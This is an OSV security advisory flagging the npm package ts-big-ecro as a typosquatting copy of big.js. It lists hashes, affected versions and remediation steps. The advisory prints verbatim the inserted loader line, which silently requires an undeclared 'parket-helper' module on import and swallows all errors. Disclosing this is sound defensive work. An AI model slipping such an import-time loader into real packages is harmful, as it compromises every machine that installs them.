MAL-2026-6199

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/ts-big-ecro/MAL-2026-6199.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-6199
Aliases
  • GHSA-3cg2-mrw5-67r6
Published
2026-06-19T05:20:12Z
Modified
2026-06-19T10:01:48.703181791Z
Summary
Malicious code in ts-big-ecro (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (09cc5687efdad86354f994af9fa7d7c28fbc21d7b5b4558870aba1c05dcf425b)

ts-big-ecro is a verbatim copy of the legitimate big.js library (MikeMcl/big.js v7.0.1) with its name, repository field, and copyright preserved to impersonate the original. Inside the main module (big.js:606 and big.mjs:606), an attacker-inserted block runs at the top level on every require()/import of the package: try { const doc = require("parket-helper"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. The call fires unconditionally, swallows all errors to evade detection, and loads parket-helper — a module that is not declared in dependencies, not documented anywhere, and unrelated to arbitrary-precision arithmetic. The package's only declared dependency is server-parket@^3.8.1, which is similarly unrelated to the package's stated purpose (the real big.js has zero runtime dependencies). The combination — typosquat name, verbatim impersonation of a popular library, import-time loader for an undeclared helper module, and a suspicious sibling dependency of a different name — is the standard dependency-confusion trojan-loader pattern. Any installer that requires this package executes attacker-controlled code from parket-helper in their process.

Source: ghsa-malware (146f80104e2e8c685193e2b971c3b9db0da8b101a0c8364543d9a7b906f1b98f)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "sha256": "09cc5687efdad86354f994af9fa7d7c28fbc21d7b5b4558870aba1c05dcf425b",
            "source": "amazon-inspector",
            "modified_time": "2026-06-19T05:20:12Z",
            "id": "IN-MAL-2026-007062",
            "versions": [
                "0.1.0"
            ],
            "import_time": "2026-06-19T07:17:17.020307295Z"
        },
        {
            "sha256": "146f80104e2e8c685193e2b971c3b9db0da8b101a0c8364543d9a7b906f1b98f",
            "source": "ghsa-malware",
            "modified_time": "2026-06-19T08:28:32Z",
            "id": "GHSA-3cg2-mrw5-67r6",
            "ranges": [
                {
                    "type": "SEMVER",
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ]
                }
            ],
            "import_time": "2026-06-19T09:51:49.450778691Z"
        }
    ]
}
References
Credits

Affected packages

npm / ts-big-ecro

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

0.*
0.1.0

Database specific

cwes
[
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    }
]
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/ts-big-ecro/MAL-2026-6199.json"
indicators
{
    "evidence_files": [
        {
            "sha256": "c10201be67a29b3e18d28e100d94cbbe6633e1ddf6edfd89ab5fe606a82aa446",
            "tlsh": "cfc2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc",
            "path": "big.js"
        },
        {
            "sha256": "7026f2a90da0287db46882bf28886fae4456be06d54119c3f2d0a4283fc115fa",
            "tlsh": "3d210467c9a19da70af85b94bc6c43aaf1161b1f40a05c5bb07b130c4f3345b2095bbd",
            "path": "package.json"
        }
    ],
    "package_integrity": [
        {
            "hashes": {
                "sha512_sri": "sha512-F8R2c3UdPXYKX3+aIE00t7x+Xuhc8B6gxRh7u+82L7CaCe3BwlMLHA9yopgWlUCRi7/6VL02ioDhtzjx9DR2MQ==",
                "sha1": "6b2a502371e0878434c0942bead793572e5ee840"
            },
            "filename": "ts-big-ecro-0.1.0.tgz"
        }
    ]
}